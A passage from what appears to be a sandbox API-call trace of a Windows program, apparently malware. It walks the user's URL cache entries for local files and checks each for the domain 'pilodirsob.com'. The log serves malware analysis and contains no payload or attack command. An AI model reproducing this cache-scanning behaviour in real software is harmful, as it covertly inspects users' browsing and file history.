lpSrch="pilodirsob.com") returned 0x0 [0701.578] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.578] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/lNPXPBJbh2z.docx", lpSrch="pilodirsob.com") returned 0x0 [0701.578] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.578] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/56Gkydp.pps", lpSrch="pilodirsob.com") returned 0x0 [0701.578] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.578] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/Hof4UNjCwmniuVp7kzhw.csv", lpSrch="pilodirsob.com") returned 0x0 [0701.578] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/XE7__nVIHDZVBiwh.doc", lpSrch="pilodirsob.com") returned 0x0 [0701.579] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Gb_F43Mr7o.png", lpSrch="pilodirsob.com") returned 0x0 [0701.579] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/jfmD.ods", lpSrch="pilodirsob.com") returned 0x0 [0701.579] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/q05zZ.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.579] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/zv2AFyzuzNau.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.579] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/oo8ZxMpOJAa2JZ1VYi.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.579] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/gCHHeDPHfckaHd%20mlGMq.flv", lpSrch="pilodirsob.com") returned 0x0 [0701.579] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/t%20JYhY.ots", lpSrch="pilodirsob.com") returned 0x0 [0701.579] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/yV9LGB40R7.jpg", lpSrch="pilodirsob.com") returned 0x0 [0701.579] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/ofac5F-21ElrB1bmCw4.jpg", lpSrch="pilodirsob.com") returned 0x0 [0701.579] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.580] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/u_7c_imef.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.580] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/RkP2X0.bmp", lpSrch="pilodirsob.com") returned 0x0 [0701.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.580] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/1JIR6WH.flv", lpSrch="pilodirsob.com") returned 0x0 [0701.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.580] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/dQCpeCQAd-tCOwn.docx", lpSrch="pilodirsob.com") returned 0x0 [0701.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.580] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/QrXE-vX97kmjH7JNQ.odp", lpSrch="pilodirsob.com") returned 0x0 [0701.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.580] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/7C0Fj8t5ztl8.odp", lpSrch="pilodirsob.com") returned 0x0 [0701.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.580] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/dwVc1-CZ_s8dDnb6LtW.doc", lpSrch="pilodirsob.com") returned 0x0 [0701.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.580] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/U35Aw3DHkP_ua.flv", lpSrch="pilodirsob.com") returned 0x0 [0701.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.580] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/t_6VwOesN9.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.580] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/q34lq_JbiJsP.doc", lpSrch="pilodirsob.com") returned 0x0 [0701.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/rw9RSXhngk69iq0H.pptx", lpSrch="pilodirsob.com") returned 0x0 [0701.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/q1P5U.bmp", lpSrch="pilodirsob.com") returned 0x0 [0701.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/kdQxTUFVVx.bmp", lpSrch="pilodirsob.com") returned 0x0 [0701.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/ob40zEva5DRKY8OHuTA.pdf", lpSrch="pilodirsob.com") returned 0x0 [0701.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/L9zPPc-Yrgy3.flv", lpSrch="pilodirsob.com") returned 0x0 [0701.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/nA%20h8.mkv", lpSrch="pilodirsob.com") returned 0x0 [0701.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/tba9%208-htsK355Ae3Q.jpg", lpSrch="pilodirsob.com") returned 0x0 [0701.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/bUz0kulIzd.jpg", lpSrch="pilodirsob.com") returned 0x0 [0701.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/O2uYzYjRV1_4DfQj.bmp", lpSrch="pilodirsob.com") returned 0x0 [0701.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/gBd6-4sgl8Sgy5S.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.582] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/fdkus0pnkYX_9FlWPTF.jpg", lpSrch="pilodirsob.com") returned 0x0 [0701.582] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.582] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/KpBWj9lp.flv", lpSrch="pilodirsob.com") returned 0x0 [0701.582] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.582] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/8ZpG.pdf", lpSrch="pilodirsob.com") returned 0x0 [0701.582] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.582] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/AAB8Ugjwnhd.jpg", lpSrch="pilodirsob.com") returned 0x0 [0701.582] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.582] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/7M%20gE_Md.xls", lpSrch="pilodirsob.com") returned 0x0 [0701.582] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.582] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/am7J3-.ods", lpSrch="pilodirsob.com") returned 0x0 [0701.582] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.582] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/8JEmUFi9Mlw.flv", lpSrch="pilodirsob.com") returned 0x0 [0701.582] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.582] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/KMr-C2smP.pptx", lpSrch="pilodirsob.com") returned 0x0 [0701.582] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.582] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/sk2OI4pk.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.582] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.582] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/D1oAyK3G1TGu.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.582] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.582] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/rbIgDrZXw.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.583] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/sqp_XIDUP.png", lpSrch="pilodirsob.com") returned 0x0 [0701.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.583] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/l2%20tmDiWaU5LpGo9N.csv", lpSrch="pilodirsob.com") returned 0x0 [0701.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.583] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/pbyLR8KlH7TIC/ZqsuflN%20AEi3v1k.bmp", lpSrch="pilodirsob.com") returned 0x0 [0701.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.583] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/qKmq.docx", lpSrch="pilodirsob.com") returned 0x0 [0701.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.583] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/CHfCw6OmU8G8iT.jpg", lpSrch="pilodirsob.com") returned 0x0 [0701.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.583] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/RsHGGmP1G3j3saqYtZFf.pptx", lpSrch="pilodirsob.com") returned 0x0 [0701.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.583] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/x3ae0WPkLee.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0701.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.583] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/3K0zw%205w2qsAHkoes.pptx", lpSrch="pilodirsob.com") returned 0x0 [0701.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.583] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/7tVJ.bmp", lpSrch="pilodirsob.com") returned 0x0 [0701.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.583] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/cn_0BRgl4hM-kJ8wE.pps", lpSrch="pilodirsob.com") returned 0x0 [0701.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/NPKnafg%20svyW-4p.rtf", lpSrch="pilodirsob.com") returned 0x0 [0701.584] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/8UJYk.ods", lpSrch="pilodirsob.com") returned 0x0 [0701.584] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/Tlfrf.pdf", lpSrch="pilodirsob.com") returned 0x0 [0701.584] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/OkRs5XPatJ-lBBsZ.bmp", lpSrch="pilodirsob.com") returned 0x0 [0701.584] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/Fgu3.rtf", lpSrch="pilodirsob.com") returned 0x0 [0701.584] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/7I2Otue.odt", lpSrch="pilodirsob.com") returned 0x0 [0701.584] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/PZfAW1K-b_tgtbasrand.ots", lpSrch="pilodirsob.com") returned 0x0 [0701.584] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/c2VYex-ql_WZAAkmz8qA.odp", lpSrch="pilodirsob.com") returned 0x0 [0701.584] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/mlAx20rjOPn5Z.bmp", lpSrch="pilodirsob.com") returned 0x0 [0701.584] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/g4SN.xls", lpSrch="pilodirsob.com") returned 0x0 [0701.584] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.585] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/8nF8FXicLEc5Ij.xls", lpSrch="pilodirsob.com") returned 0x0 [0701.585] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.585] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/odN690Uv.png", lpSrch="pilodirsob.com") returned 0x0 [0701.585] 